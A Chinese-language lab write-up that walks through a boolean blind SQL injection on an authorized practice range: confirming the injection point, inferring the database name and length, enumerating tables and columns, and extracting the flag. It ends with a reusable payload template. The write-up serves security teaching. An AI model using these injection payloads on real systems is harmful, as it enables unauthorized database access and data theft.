SQL注入:布尔盲注(无防护)靶场通关记录
靶场地址:白帽江湖 SQL注入:布尔盲注(无防护)
说明:本文仅记录在该授权靶场中的测试过程,用于学习布尔盲注的基本思路。
1. 页面初探
1.1 打开靶场后,页面标题是"StarMail - 注册检测",页面功能直白:
- 输入用户名
- 点击"检测可用性"
- 页面返回该用户名是否已注册
页面还直接提示了接口:
text
query.php?username=xxx
这意味着真正的判断逻辑在后端接口 query.php,参数是 username。
1.2 关于 <script>
<script>部分源码如下:

页面源码里可以看到前端调用逻辑:
javascript
var r = await fetch('query.php?username='+encodeURIComponent(u));
var d = await r.json();
res.className='result '+(d.exists?'taken':'available');
res.textContent=d.exists?'❌ 用户名 ['+u+'] 已被注册':'✅ 用户名 ['+u+'] 可以使用';
也就是说,前端只是把后端返回的 exists 字段显示出来。
2. 先确认正常返回
先访问正常接口:
text
https://range.baimaojianghu.com/lab/32000/query.php?username=admin
返回:
json
{"exists":true}
说明 admin 确实被注册。
再试一个带单引号的输入:
text
https://range.baimaojianghu.com/lab/32000/query.php?username=admin'
返回:
json
{"exists":false}
这说明输入被直接拼进了 SQL 逻辑里,而且没有做有效防护。此时已经具备盲注利用条件。
3. 什么是布尔盲注
布尔盲注的特点是:
- 页面
不直接回显数据库内容 - 但会根据
条件真假返回不同结果 - 我们通过"真/假"差异一点点推数据
在这个靶场里,差异体现在:
exists:trueexists:false
这就是典型的布尔型回显信道。
4. 验证注入是否可控
构造了几组测试:
text
admin' and 1=1#
admin' and 1=2#
关于
#在这里的作用,需要分两层看:
- 在 MySQL 语法里,
#是单行注释符,可以把后面的 SQL 片段注释掉,避免尾部多出来的字符干扰语句。- 但在浏览器地址栏里,
#还是 URL 片段标识符,默认不会被发送到服务器 。所以如果你真的想把它作为参数内容传过去,需要写成%23,或者改用--%20这类方式。这也是你会看到"有时不加
#也能成功"的原因:这个靶场里,and 1=1本身就已经足够形成有效条件,#只是更稳一点的收尾手段,不是每次都必须有。
对应返回分别是:


json
{"exists":true}
{"exists":false}
这一步说明:
- 注入点成立
- 条件真假会影响接口返回
- 可以继续用布尔盲注推断数据
5. 盲注的核心方法
布尔盲注通常分两层:
第一层:判断长度
先判断目标字符串长度,比如:
sql
length(database())>6
如果返回真,就说明数据库名长度大于 6。这里要注意两点:
- 比较符号改成
>0后仍然返回false,通常不是"长度真的小于 0",而是你的 payload 没有按预期进入 SQL 语句,或者前后字符在浏览器里被当成了 URL 片段/特殊字符处理了。 - 在这个靶场里,优先确认你发送的是 ASCII 单引号
',而不是中文输入法下的弯引号',并且尽量把特殊字符都做 URL 编码。
最后将其拼接到网址中,我们可以得到如下的反馈:


最终通过二分法,我们可以得到 databse 的最终长度为 7:

第二层:判断每个字符
再用字符函数逐位判断,例如:
sql
ascii(substr(database(),1,1))>100
含义是:
- 取数据库名第 1 个字符
- 转成 ASCII 码
- 看是否大于 100
这里可以借助python编写一个脚本,只要使用暴力匹配的方式,不断二分,就能把字符一个个拼出来。
6. 先枚举数据库名
用二分法测试 database():
最终得到:
text
vuln_db
这说明当前数据库名是 vuln_db。
7. 枚举表名
通过 information_schema.tables 结合 exists(...) 或逐位盲猜,确认库中存在:
secret_flagsusers
其中最值得关注的是 secret_flags,通常是 flag 所在表。

8. 枚举字段名
进一步测试 secret_flags 的字段名,发现存在:
idflag_nameflag_value
这和常见的 flag 存储结构一致。
9. 提取 flag
对 select group_concat(flag_name,0x3a,flag_value) from secret_flags 的结果做长度判断和逐字符二分,最后直接盲注读取:
sql
(select group_concat(flag_name,0x3a,flag_value) from secret_flags)
最终得到:
text
flag:flag{b00l_bl1nd_b4s1c}
最终 flag:
text
flag{b00l_bl1nd_b4s1c}
10. 本题的完整思路
这道题的流程很典型:
- 找到接口参数
username - 用单引号测试,确认存在 SQL 注入
- 观察返回值只有真假差异,没有数据回显
- 改用布尔盲注,通过真假判断数据
- 先推数据库名,再推表名和字段名
- 最后拼出
secret_flags表中的 flag
11. 为什么这种题适合二分法
如果一个字符可能是 32 到 126 之间的可打印 ASCII,直接逐个猜会慢。二分法能把判断次数大幅减少:
- 长度判断:对数级
- 字符判断:对数级
所以在盲注里,二分法往往比顺序猜测效率高很多。对于二分法不了解的同学可以参考bilibili中关于二分查找的算法课,这里不再做详细讲解。
12. 可复用的测试模板
测试注入真假差异
text
?username=admin' and 1=1#
?username=admin' and 1=2#
判断数据库名长度
sql
length(database())>n
判断数据库名字符
sql
ascii(substr(database(),i,1))>n
判断表是否存在
sql
exists(select 1 from information_schema.tables where table_schema=database() and table_name='secret_flags')
判断字段是否存在
sql
exists(select 1 from information_schema.columns where table_schema=database() and table_name='secret_flags' and column_name='flag_name')
读取 flag
sql
(select group_concat(flag_name,0x3a,flag_value) from secret_flags)